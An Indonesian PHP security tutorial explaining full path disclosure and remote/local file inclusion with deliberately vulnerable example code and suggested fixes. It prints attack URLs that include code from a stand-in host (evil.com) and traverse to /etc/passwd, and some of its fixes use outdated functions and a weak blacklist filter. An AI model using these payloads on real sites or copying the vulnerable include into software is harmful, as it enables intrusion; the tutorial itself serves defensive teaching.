PERMASALAHAN PADA APLIKASI WEB
Ada beberapa masalah dilayer website yang mungkin sering terdengar saat ini : full path
disclosure, cross site scripting, HTML injection, remote/local file inclusion , remote
command execution, dan sql injection. Pada tulisan ini penulis asumsikan website dibangun
menggunakan PHP , code bagaimana yang membuat site dikatakan vulneral dan bagaimana
penanganan masalahnya akan penulis kupas menggunakan contoh contoh kode PHP. Disini penulis
hanya memberikan contoh kode full path disclosure dan remote file inclussion.
oke sekarang kita akan jelaskan tentang keduanya
1. Full Path Disclosure
Full path disclosure adalah sebuah hole website aplikasi yang memungkinkan seseorang untuk
melihat lokasi (path) file didalam sistem secara penuh. Berikut ini sebuah contoh code
mengenai hole ini (simpan ketiga file dalam satu directory).
File handle.php
Code:
<?php
function validate($char)
{
if(!is_numeric($char))
die("I have received error from client\n");
}
?>
File home.php
Code:
<?php
validate($_REQUEST['view']);
echo "<H1>Ini View".$_REQUEST['view']."</H1>";
?>
dan juga file index.php
Code:
<HTML>
<?php
include "handle.php";
if(isset($_REQUEST['view']))
{
include "home.php";
}
?>
</HTML>
Untuk website yang close source terhadap codenya, kemudian bagian yang ditampilkan ke client
hanyalah index.php, maka code semacam ini mungkin tidak akan menjadi masalah, karena kita bisa
saja menutupi file handle.php dan home.php. Namun untuk aplikasi opensource tentu saja dengan
mendowload aplikasi tersebut kita bisa tahu file apa saja yang ada dalam aplikasi. Nah ketika
request langsung diarahkan ke home.php hasilnya adalah PHP error dengan menampilkan secara
lengkap path file home.php
Contoh Error yang muncul
Code:
Fatal error: Call to undefined function validate() in /usr/local/apache2/htdocs/vergos303/home.php on line 2
Untuk mencegah resiko semacam ini, maka perlu ditambahkan code untuk menolak akses secara
langsung ke masing - masing file PHP, misalnya dengan kita tambahkan di bagian paling atas
file home.php code seperti berikut ini :
Code:
if (eregi("home.php", $PHP_SELF)) {
die ("You can't access this file directly...");
}
Sehingga ketika file home.php diakses secara langsung maka browser akan merespons dengan
"You can't access this file directly..."
2. Remote File Inclussion
Remote file inclussion merupakan salah satu hole aplikasi PHP yang mempunyai security risk
cukup tinggi karena seseorang bisa mengakses command-command console operating sistem via
web browser. Contoh code berikut memungkinkan remote file inclussion :
Code
<?php
if(isset($_REQUEST['page'])){
$page=$_REQUEST['page'];
include "$page";
echo "<H1>Ini halaman ".$_REQUEST['page']."</H1>";
}
?>
Code diatas mengincludekan variable $page tanpa divalidasi terlebih dahulu, artinya kita bisa
mengincludekan sembarang evil file diremote site menggunakan variable $page, code diatas
sebenarnya juga merupakan contoh code local file inclussion sehingga ketika kita mengincludekan
/etc/passwd maka file /etc/passwd akan ditampilkan. Misal file diatas disimpan dengan nama
remote.php maka attacker bisa mengincludekan sembarang file menggunakan URL berikut
Code:
1. http://site.com/remote.php?page=http://evil.com/evilcode.txt?
2. http://site.com/remote.php?page=../../../../../../../../../../../../etc/passwd
code diatas bisa diperbaiki dengan memberi validasi pada variable $page sebelum diincludekan
misalnya seperti berikut :
Code:
$page=$_REQUEST['page'];
if(preg_match('/[\'\"%|*(){}~`!@#$;\\/=+_^\>\<]/',$page))
die("We have received an error request\n<br>");
include "$page";
Sehingga ketika client merequest file dengan parameter variable $page cocok dengan karakter
yang ada difilter preg_match() akan muncul "We have received an error request". Satu hal
yang penulis anggap praktis untuk meminimalisasi resiko web based PHP exploitation adalah
dengan mensecurekan konfigurasi php.ini antara lain dengan : turn off display error, turn on
log error, disable fungsi untuk mengakses sistem seperti system(), exec(), passthru(), shell_exec(),
proc_open() dan lainnya, register global off, dan turn on safe mode.